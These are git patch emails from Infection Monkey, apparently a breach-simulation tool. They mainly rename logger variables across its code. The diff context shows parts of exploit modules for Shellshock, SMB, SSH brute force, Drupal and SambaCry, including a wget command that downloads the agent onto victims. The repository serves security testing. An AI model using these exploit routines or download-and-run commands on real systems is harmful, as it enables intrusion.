the other hand, some are less straightforward. You can override functions and implement new classes depending on what is required, to implement complicated PBAs — see `SignedScriptProxyExecution` and `ModifyShellStartupFiles`. \n \n\nThis PBA, along with the others, will run on a system after it has been breached. The purpose of this code is to test whether target systems allow attackers to gather details about all the user accounts that are present on a system or in an environment." } ], "symbols": {}, From d118cdf3f5f1c8ab13be6ff196aaef2705429bff Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 31 Aug 2021 12:49:57 +0530 Subject: [PATCH 086/454] travis: Update Swimm version --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 7085077dc..d82232c4a 100644 --- a/.travis.yml +++ b/.travis.yml @@ -80,7 +80,7 @@ script: # verify swimm - cd $TRAVIS_BUILD_DIR -- curl -L https://github.com/swimmio/SwimmReleases/releases/download/v0.5.0-0/swimm-cli.js --output swimm_cli +- curl -L https://github.com/swimmio/SwimmReleases/releases/download/v0.5.7-0/swimm-cli.js --output swimm_cli - node swimm_cli --version - node swimm_cli verify From d2e5828c3bf147e50b12f2a1279c707ad8bd812e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 30 Aug 2021 12:43:56 +0300 Subject: [PATCH 087/454] Replace "LOG" naming convention with "logger" naming convention. --- monkey/common/network/network_range.py | 4 +- monkey/infection_monkey/control.py | 38 ++++---- monkey/infection_monkey/dropper.py | 35 ++++---- monkey/infection_monkey/exploit/drupal.py | 18 ++-- .../infection_monkey/exploit/elasticgroovy.py | 6 +- monkey/infection_monkey/exploit/hadoop.py | 2 +- monkey/infection_monkey/exploit/mssqlexec.py | 6 +- monkey/infection_monkey/exploit/sambacry.py | 22 ++--- monkey/infection_monkey/exploit/shellshock.py | 46 +++++----- monkey/infection_monkey/exploit/smbexec.py | 14 +-- monkey/infection_monkey/exploit/sshexec.py | 36 ++++---- monkey/infection_monkey/exploit/struts2.py | 4 +- .../infection_monkey/exploit/tools/helpers.py | 8 +- .../exploit/tools/http_tools.py | 6 +- .../exploit/tools/payload_parsing.py | 2 +- .../exploit/tools/smb_tools.py | 36 ++++---- .../exploit/tools/wmi_tools.py | 4 +- monkey/infection_monkey/exploit/vsftpd.py | 38 ++++---- monkey/infection_monkey/exploit/web_rce.py | 74 ++++++++-------- monkey/infection_monkey/exploit/weblogic.py | 14 +-- .../infection_monkey/exploit/win_ms08_067.py | 24 ++--- monkey/infection_monkey/exploit/wmiexec.py | 22 ++--- monkey/infection_monkey/exploit/zerologon.py | 56 ++++++------ .../exploit/zerologon_utils/dump_secrets.py | 26 +++--- .../exploit/zerologon_utils/remote_shell.py | 10 +-- .../zerologon_utils/vuln_assessment.py | 6 +- .../exploit/zerologon_utils/wmiexec.py | 4 +- monkey/infection_monkey/main.py | 16 ++-- monkey/infection_monkey/monkey.py | 88 ++++++++++--------- .../infection_monkey/network/elasticfinger.py | 8 +- monkey/infection_monkey/network/httpfinger.py | 8 +- .../network/mssql_fingerprint.py | 12 +-- .../infection_monkey/network/mysqlfinger.py | 6 +- .../network/network_scanner.py | 18 ++-- .../infection_monkey/network/ping_scanner.py | 10 +-- monkey/infection_monkey/network/smbfinger.py | 4 +- monkey/infection_monkey/network/tools.py | 14 +-- .../post_breach/actions/use_signed_scripts.py | 4 +- .../post_breach/actions/users_custom_pba.py | 6 +- monkey/infection_monkey/post_breach/pba.py | 4 +- .../post_breach/post_breach_handler.py | 10 +-- .../ransomware/ransomware_config.py | 4 +- .../ransomware/ransomware_payload.py | 12 +-- .../ransomware/ransomware_payload_builder.py | 4 +- .../ransomware/readme_dropper.py | 8 +- .../system_info/SSH_info_collector.py | 12 +-- .../infection_monkey/system_info/__init__.py | 8 +- .../system_info/azure_cred_collector.py | 16 ++-- .../system_info/linux_info_collector.py | 4 +- .../system_info/netstat_collector.py | 4 +- .../system_info_collectors_handler.py | 8 +- .../mimikatz_cred_collector.py | 2 +- .../system_info/windows_info_collector.py | 14 +-- monkey/infection_monkey/system_singleton.py | 14 +-- .../infection_monkey/telemetry/trace_telem.py | 4 +- monkey/infection_monkey/transport/http.py | 22 ++--- monkey/infection_monkey/transport/tcp.py | 4 +- monkey/infection_monkey/tunnel.py | 32 +++---- .../infection_monkey/utils/plugins/plugin.py | 12 +-- monkey/infection_monkey/windows_upgrader.py | 8 +- .../monkey_island/cc/resources/island_mode.py | 4 +- .../cc/resources/pba_file_upload.py | 2 +- .../cc/server_utils/file_utils.py | 10 +-- .../cc/services/attack/attack_report.py | 4 +- .../cc/services/mode/island_mode_service.py | 2 +- 65 files changed, 500 insertions(+), 483 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index ca8b49b1b..1ab37ba57 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -5,7 +5,7 @@ import socket import struct from abc import ABCMeta, abstractmethod -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class NetworkRange(object, metaclass=ABCMeta): @@ -174,7 +174,7 @@ class SingleIpRange(NetworkRange): ip = socket.gethostbyname(string_) domain_name = string_ except socket.error: - LOG.error( + logger.error( "Your specified host: {} is not found as a domain name and" " it's not an IP address".format(string_) ) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index f3aac4701..7c9a5769a 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -25,7 +25,7 @@ from infection_monkey.transport.tcp import TcpProxy requests.packages.urllib3.disable_warnings() -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" @@ -42,7 +42,7 @@ class ControlClient(object): @staticmethod def wakeup(parent=None): if parent: - LOG.debug("parent: %s" % (parent,)) + logger.debug("parent: %s" % (parent,)) hostname = gethostname() if not parent: @@ -72,12 +72,12 @@ class ControlClient(object): @staticmethod def find_server(default_tunnel=None): - LOG.debug( + logger.debug( "Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers ) if default_tunnel: - LOG.debug("default_tunnel: %s" % (default_tunnel,)) + logger.debug("default_tunnel: %s" % (default_tunnel,)) current_server = "" @@ -88,7 +88,7 @@ class ControlClient(object): debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies - LOG.debug(debug_message) + logger.debug(debug_message) requests.get( # noqa: DUO123 f"https://{server}/api?action=is-up", verify=False, @@ -100,7 +100,7 @@ class ControlClient(object): except ConnectionError as exc: current_server = "" - LOG.warning("Error connecting to control server %s: %s", server, exc) + logger.warning("Error connecting to control server %s: %s", server, exc) if current_server: return True @@ -108,15 +108,15 @@ class ControlClient(object): if ControlClient.proxies: return False else: - LOG.info("Starting tunnel lookup...") + logger.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: proxy_address, proxy_port = proxy_find - LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) + logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port) return ControlClient.find_server() else: - LOG.info("No tunnel found") + logger.info("No tunnel found") return False @staticmethod @@ -136,7 +136,7 @@ class ControlClient(object): timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: - LOG.warning( + logger.warning( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) return {} @@ -144,7 +144,7 @@ class ControlClient(object): @staticmethod def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: - LOG.error( + logger.error( "Trying to send %s telemetry before current server is established, aborting." % telem_category ) @@ -160,7 +160,7 @@ class ControlClient(object): timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: - LOG.warning( + logger.warning( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) @@ -179,7 +179,7 @@ class ControlClient(object): timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: - LOG.warning( + logger.warning( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) @@ -196,7 +196,7 @@ class ControlClient(object): ) except Exception as exc: - LOG.warning( + logger.warning( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) return @@ -206,10 +206,10 @@ class ControlClient(object): formatted_config = pformat( WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()) ) - LOG.info(f"New configuration was loaded from server:\n{formatted_config}") + logger.info(f"New configuration was loaded from server:\n{formatted_config}") except Exception as exc: # we don't continue with default conf here because it might be dangerous - LOG.error( + logger.error( "Error parsing JSON reply from control server %s (%s): %s", WormConfiguration.current_server, reply._content, @@ -234,7 +234,7 @@ class ControlClient(object): timeout=MEDIUM_REQUEST_TIMEOUT, ) except Exception as exc: - LOG.warning( + logger.warning( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) return {} @@ -303,7 +303,7 @@ class ControlClient(object): return dest_file except Exception as exc: - LOG.warning( + logger.warning( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) @@ -335,7 +335,7 @@ class ControlClient(object): return None, None except Exception as exc: - LOG.warning( + logger.warning( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 50e5008f1..67ceaa708 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -33,7 +33,7 @@ except NameError: WindowsError = IOError -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) MOVEFILE_DELAY_UNTIL_REBOOT = 4 @@ -56,11 +56,11 @@ class MonkeyDrops(object): } def initialize(self): - LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) + logger.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): if self._config["destination_path"] is None: - LOG.error("No destination path specified") + logger.error("No destination path specified") return False # we copy/move only in case path is different @@ -77,7 +77,7 @@ class MonkeyDrops(object): try: shutil.move(self._config["source_path"], self._config["destination_path"]) - LOG.info( + logger.info( "Moved source file '%s' into '%s'", self._config["source_path"], self._config["destination_path"], @@ -85,7 +85,7 @@ class MonkeyDrops(object): file_moved = True except (WindowsError, IOError, OSError) as exc: - LOG.debug( + logger.debug( "Error moving source file '%s' into '%s': %s", self._config["source_path"], self._config["destination_path"], @@ -97,13 +97,13 @@ class MonkeyDrops(object): try: shutil.copy(self._config["source_path"], self._config["destination_path"]) - LOG.info( + logger.info( "Copied source file '%s' into '%s'", self._config["source_path"], self._config["destination_path"], ) except (WindowsError, IOError, OSError) as exc: - LOG.error( + logger.error( "Error copying source file '%s' into '%s': %s", self._config["source_path"], self._config["destination_path"], @@ -122,7 +122,7 @@ class MonkeyDrops(object): try: ref_stat = os.stat(dropper_date_reference_path) except OSError: - LOG.warning( + logger.warning( "Cannot set reference date using '%s', file not found", dropper_date_reference_path, ) @@ -132,7 +132,7 @@ class MonkeyDrops(object): self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime) ) except OSError: - LOG.warning("Cannot set reference date to destination file") + logger.warning("Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( parent=self.opts.parent, @@ -173,7 +173,7 @@ class MonkeyDrops(object): creationflags=DETACHED_PROCESS, ) - LOG.info( + logger.info( "Executed monkey process (PID=%d) with command line: %s", monkey_process.pid, " ".join(monkey_commandline), @@ -181,10 +181,10 @@ class MonkeyDrops(object): time.sleep(3) if monkey_process.poll() is not None: - LOG.warning("Seems like monkey died too soon") + logger.warning("Seems like monkey died too soon") def cleanup(self): - LOG.info("Cleaning up the dropper") + logger.info("Cleaning up the dropper") try: if ( @@ -197,7 +197,7 @@ class MonkeyDrops(object): try: os.remove(self._config["source_path"]) except Exception as exc: - LOG.debug( + logger.debug( "Error removing source file '%s': %s", self._config["source_path"], exc ) @@ -206,18 +206,19 @@ class MonkeyDrops(object): if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT ): - LOG.debug( + logger.debug( "Error marking source file '%s' for deletion on next boot (error " "%d)", self._config["source_path"], ctypes.windll.kernel32.GetLastError(), ) else: - LOG.debug( + logger.debug( "Dropper source file '%s' is marked for deletion on next boot", self._config["source_path"], ) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() - LOG.info("Dropper cleanup complete") + + logger.info("Dropper cleanup complete") except AttributeError: - LOG.error("Invalid configuration options. Failing") + logger.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 48b60a2c5..a07b99403 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -15,7 +15,7 @@ from common.network.network_utils import remove_port from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ID_STRING -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class DrupalExploiter(WebRCE): @@ -53,7 +53,7 @@ class DrupalExploiter(WebRCE): try: node_ids = find_exploitbale_article_ids(url) if node_ids is None: - LOG.info("Could not find a Drupal node to attack") + logger.info("Could not find a Drupal node to attack") continue for node_id in node_ids: node_url = urljoin(url, str(node_id)) @@ -65,9 +65,9 @@ class DrupalExploiter(WebRCE): if stop_checking: break except Exception as e: # We still don't know which errors to expect - LOG.error(f"url {url} failed in exploitability check: {e}") + logger.error(f"url {url} failed in exploitability check: {e}") if not self.vulnerable_urls: - LOG.info("No vulnerable urls found") + logger.info("No vulnerable urls found") def check_if_exploitable(self, url): """ @@ -89,7 +89,7 @@ class DrupalExploiter(WebRCE): ) if is_response_cached(response): - LOG.info(f"Checking if node {url} is vuln returned cache HIT, ignoring") + logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring") return False return "INVALID_VALUE does not correspond to an entity on this site" in response.text @@ -109,10 +109,10 @@ class DrupalExploiter(WebRCE): ) if is_response_cached(r): - LOG.info(f"Exploiting {url} returned cache HIT, may have failed") + logger.info(f"Exploiting {url} returned cache HIT, may have failed") if ID_STRING not in r.text: - LOG.warning("Command execution _may_ have failed") + logger.warning("Command execution _may_ have failed") result = r.text.split(ID_STRING)[-1] return result @@ -137,7 +137,7 @@ class DrupalExploiter(WebRCE): num_available_urls = len(self.vulnerable_urls) result = num_available_urls >= num_urls_needed_for_full_exploit if not result: - LOG.info( + logger.info( f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a " f"Drupal server " f"but only {num_available_urls} found" @@ -160,7 +160,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 ) if response.status_code == 200: if is_response_cached(response): - LOG.info(f"Found a cached article at: {node_url}, skipping") + logger.info(f"Found a cached article at: {node_url}, skipping") else: articles.add(lower) lower += 1 diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index ec2133216..668bfb7c4 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -25,7 +25,7 @@ from infection_monkey.model import ( from infection_monkey.network.elasticfinger import ES_PORT from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class ElasticGroovyExploiter(WebRCE): @@ -69,7 +69,7 @@ class ElasticGroovyExploiter(WebRCE): try: response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) except requests.ReadTimeout: - LOG.error( + logger.error( "Elastic couldn't upload monkey, because server didn't respond to upload " "request." ) @@ -110,5 +110,5 @@ class ElasticGroovyExploiter(WebRCE): else: return False except Exception as e: - LOG.error("Host's exploitability check failed due to: %s" % e) + logger.error("Host's exploitability check failed due to: %s" % e) return False diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index c45bfd67f..7d3360a32 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -24,7 +24,7 @@ from infection_monkey.model import ( ) from infection_monkey.utils.commands import build_monkey_commandline -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class HadoopExploiter(WebRCE): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 6269a8778..ef88d6cf2 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -14,7 +14,7 @@ from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.model import DROPPER_ARG from infection_monkey.utils.commands import build_monkey_commandline -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): @@ -195,7 +195,7 @@ class MSSQLExploiter(HostExploiter): conn = pymssql.connect( host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT ) - LOG.info( + logger.info( "Successfully connected to host: {0}, using user: {1}, password (" "SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password)) ) @@ -208,7 +208,7 @@ class MSSQLExploiter(HostExploiter): # Combo didn't work, hopping to the next one pass - LOG.warning( + logger.warning( "No user/password combo was able to connect to host: {0}:{1}, " "aborting brute force".format(host, port) ) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 63fe0970a..a1cc9fa3d 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -44,7 +44,7 @@ from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.utils.commands import build_monkey_commandline -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class SambaCryExploiter(HostExploiter): @@ -79,7 +79,7 @@ class SambaCryExploiter(HostExploiter): return False writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr) - LOG.info( + logger.info( "Writable shares and their credentials on host %s: %s" % (self.host.ip_addr, str(writable_shares_creds_dict)) ) @@ -121,14 +121,14 @@ class SambaCryExploiter(HostExploiter): self.exploit_info["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: - LOG.info( + logger.info( "Shares triggered successfully on host %s: %s" % (self.host.ip_addr, str(successfully_triggered_shares)) ) self.add_vuln_port(self.SAMBA_PORT) return True else: - LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) + logger.info("No shares triggered successfully on host %s" % self.host.ip_addr) return False def try_exploit_share(self, share, creds): @@ -142,7 +142,7 @@ class SambaCryExploiter(HostExploiter): self.upload_module(smb_client, share) self.trigger_module(smb_client, share) except (impacket.smbconnection.SessionError, SessionError): - LOG.debug( + logger.debug( "Exception trying to exploit host: %s, share: %s, with creds: %s." % (self.host.ip_addr, share, str(creds)) ) @@ -205,7 +205,7 @@ class SambaCryExploiter(HostExploiter): writable_shares_creds_dict = {} credentials_list = self.get_credentials_list() - LOG.debug("SambaCry credential list: %s" % str(credentials_list)) + logger.debug("SambaCry credential list: %s" % str(credentials_list)) for credentials in credentials_list: try: @@ -246,13 +246,13 @@ class SambaCryExploiter(HostExploiter): :return: True if victim is vulnerable, False otherwise """ if SMB_SERVICE not in self.host.services: - LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr) + logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr) return False pattern = re.compile(r"\d*\.\d*\.\d*") smb_server_name = self.host.services[SMB_SERVICE].get("name") if not smb_server_name: - LOG.info("Host: %s refused SMB connection" % self.host.ip_addr) + logger.info("Host: %s refused SMB connection" % self.host.ip_addr) return False samba_version = "unknown" pattern_result = pattern.search(smb_server_name) @@ -286,7 +286,7 @@ class SambaCryExploiter(HostExploiter): # If pattern doesn't match we can't tell what version it is. Better try is_vulnerable = True - LOG.info( + logger.info( "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) ) @@ -408,7 +408,7 @@ class SambaCryExploiter(HostExploiter): :param share: share name :return: True if share is writable, False otherwise. """ - LOG.debug("Checking %s for write access" % share) + logger.debug("Checking %s for write access" % share) try: tree_id = smb_client.connectTree(share) except (impacket.smbconnection.SessionError, SessionError): @@ -510,7 +510,7 @@ class SambaCryExploiter(HostExploiter): # paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree("IPC$") - LOG.debug("Triggering path: %s" % pathName) + logger.debug("Triggering path: %s" % pathName) if smb_client.getDialect() == SMB_DIALECT: _, flags2 = smb_client.getSMBServer().get_flags() diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 7f5df694b..efe0c10cc 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -16,7 +16,7 @@ from infection_monkey.model import DROPPER_ARG from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.commands import build_monkey_commandline -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) TIMEOUT = 2 TEST_COMMAND = "/bin/uname -a" DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder @@ -55,7 +55,7 @@ class ShellShockExploiter(HostExploiter): http_ports = [port[0] for port in valid_ports if not port[1]] https_ports = [port[0] for port in valid_ports if port[1]] - LOG.info( + logger.info( "Scanning %s, ports [%s] for vulnerable CGI pages" % (self.host, ",".join([str(port[0]) for port in valid_ports])) ) @@ -77,7 +77,7 @@ class ShellShockExploiter(HostExploiter): # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: - LOG.info("Trying to attack host %s with %s URL" % (self.host, url)) + logger.info("Trying to attack host %s with %s URL" % (self.host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs if not self.host.os.get("type"): @@ -87,10 +87,12 @@ class ShellShockExploiter(HostExploiter): if "linux" in uname_os: self.host.os["type"] = "linux" else: - LOG.info("SSH Skipping unknown os: %s", uname_os) + logger.info("SSH Skipping unknown os: %s", uname_os) return False except Exception as exc: - LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc) + logger.debug( + "Error running uname os command on victim %r: (%s)", self.host, exc + ) return False if not self.host.os.get("machine"): try: @@ -99,7 +101,7 @@ class ShellShockExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine.lower().strip() except Exception as exc: - LOG.debug( + logger.debug( "Error running uname machine command on victim %r: (%s)", self.host, exc ) return False @@ -109,7 +111,7 @@ class ShellShockExploiter(HostExploiter): if self.skip_exist and ( self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) ): - LOG.info( + logger.info( "Host %s was already infected under the current configuration, " "done" % self.host ) @@ -117,17 +119,17 @@ class ShellShockExploiter(HostExploiter): src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + logger.info("Can't find suitable monkey executable for host %r", self.host) return False if not self._create_lock_file(exploit, url, header): - LOG.info("Another monkey is running shellshock exploit") + logger.info("Another monkey is running shellshock exploit") return True http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: - LOG.debug("Exploiter ShellShock failed, http transfer creation failed.") + logger.debug("Exploiter ShellShock failed, http transfer creation failed.") return False download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux) @@ -148,7 +150,7 @@ class ShellShockExploiter(HostExploiter): url, header, exploit, dropper_target_path_linux ) ): - LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) + logger.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue # turn the monkey into an executable @@ -169,7 +171,7 @@ class ShellShockExploiter(HostExploiter): run_path = exploit + cmdline self.attack_page(url, header, run_path) - LOG.info( + logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, @@ -181,7 +183,7 @@ class ShellShockExploiter(HostExploiter): url, header, exploit, self._config.monkey_log_path_linux ) ): - LOG.info("Log file does not exist, monkey might not have run") + logger.info("Log file does not exist, monkey might not have run") continue self.add_executed_cmd(cmdline) return True @@ -198,7 +200,7 @@ class ShellShockExploiter(HostExploiter): run_path = exploit + cmdline resp = cls.attack_page(url, header, run_path) if resp: - LOG.info("File %s exists on remote host" % file_path) + logger.info("File %s exists on remote host" % file_path) return resp def attempt_exploit(self, url, attacks=None): @@ -208,17 +210,17 @@ class ShellShockExploiter(HostExploiter): if not attacks: attacks = self._attacks - LOG.debug("Attack Flag is: %s" % self.success_flag) + logger.debug("Attack Flag is: %s" % self.success_flag) - LOG.debug("Trying exploit for %s" % url) + logger.debug("Trying exploit for %s" % url) for header, exploit in list(attacks.items()): attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND result = self.attack_page(url, header, attack) if self.success_flag in result: - LOG.info("URL %s looks vulnerable" % url) + logger.info("URL %s looks vulnerable" % url) return True, url, header, exploit else: - LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) + logger.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return (False,) def _create_lock_file(self, exploit, url, header): @@ -236,15 +238,15 @@ class ShellShockExploiter(HostExploiter): def attack_page(url, header, attack): result = "" try: - LOG.debug("Header is: %s" % header) - LOG.debug("Attack is: %s" % attack) + logger.debug("Header is: %s" % header) + logger.debug("Attack is: %s" % attack) r = requests.get( # noqa: DUO123 url, headers={header: attack}, verify=False, timeout=TIMEOUT ) result = r.content.decode() return result except requests.exceptions.RequestException as exc: - LOG.debug("Failed to run, exception %s" % exc) + logger.debug("Failed to run, exception %s" % exc) return result @staticmethod @@ -267,7 +269,7 @@ class ShellShockExploiter(HostExploiter): timeout = True break if timeout: - LOG.debug( + logger.debug( "Some connections timed out while sending request to potentially vulnerable " "urls." ) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 189bc51ad..8dfe8ed75 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -13,7 +13,7 @@ from infection_monkey.network.tools import check_tcp_port from infection_monkey.telemetry.attack.t1035_telem import T1035Telem from infection_monkey.utils.commands import build_monkey_commandline -LOG = getLogger(__name__) +logger = getLogger(__name__) class SmbExploiter(HostExploiter): @@ -50,7 +50,7 @@ class SmbExploiter(HostExploiter): src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + logger.info("Can't find suitable monkey executable for host %r", self.host) return False creds = self._config.get_exploit_user_password_or_hash_product() @@ -71,7 +71,7 @@ class SmbExploiter(HostExploiter): ) if remote_full_path is not None: - LOG.debug( + logger.debug( "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " "%s : (SHA-512) %s)", self.host, @@ -95,7 +95,7 @@ class SmbExploiter(HostExploiter): self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: - LOG.debug( + logger.debug( "Exception when trying to copy file using SMB to %r with user:" " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" "SHA-512): %s: (%s)", @@ -109,7 +109,7 @@ class SmbExploiter(HostExploiter): continue if not exploited: - LOG.debug("Exploiter SmbExec is giving up...") + logger.debug("Exploiter SmbExec is giving up...") return False self.set_vulnerable_port() @@ -145,7 +145,7 @@ class SmbExploiter(HostExploiter): try: scmr_rpc.connect() except Exception as exc: - LOG.debug( + logger.debug( "Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, @@ -183,7 +183,7 @@ class SmbExploiter(HostExploiter): scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) - LOG.info( + logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index cf3a71986..fb5a5f38e 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -16,7 +16,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.commands import build_monkey_commandline -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) SSH_PORT = 22 TRANSFER_UPDATE_RATE = 15 @@ -33,7 +33,7 @@ class SSHExploiter(HostExploiter): def log_transfer(self, transferred, total): if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: - LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) + logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: @@ -49,17 +49,17 @@ class SSHExploiter(HostExploiter): try: pkey = paramiko.RSAKey.from_private_key(pkey) except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): - LOG.error("Failed reading ssh key") + logger.error("Failed reading ssh key") try: ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) - LOG.debug( + logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: ssh.close() - LOG.debug( + logger.debug( "Error logging into victim %r with %s" " private key", self.host, ssh_string ) self.report_login_attempt(False, user, ssh_key=ssh_string) @@ -76,7 +76,7 @@ class SSHExploiter(HostExploiter): try: ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) - LOG.debug( + logger.debug( "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", self.host, user, @@ -87,7 +87,7 @@ class SSHExploiter(HostExploiter): return ssh except Exception as exc: - LOG.debug( + logger.debug( "Error logging into victim %r with user" " %s and password (SHA-512) '%s': (%s)", self.host, @@ -110,7 +110,7 @@ class 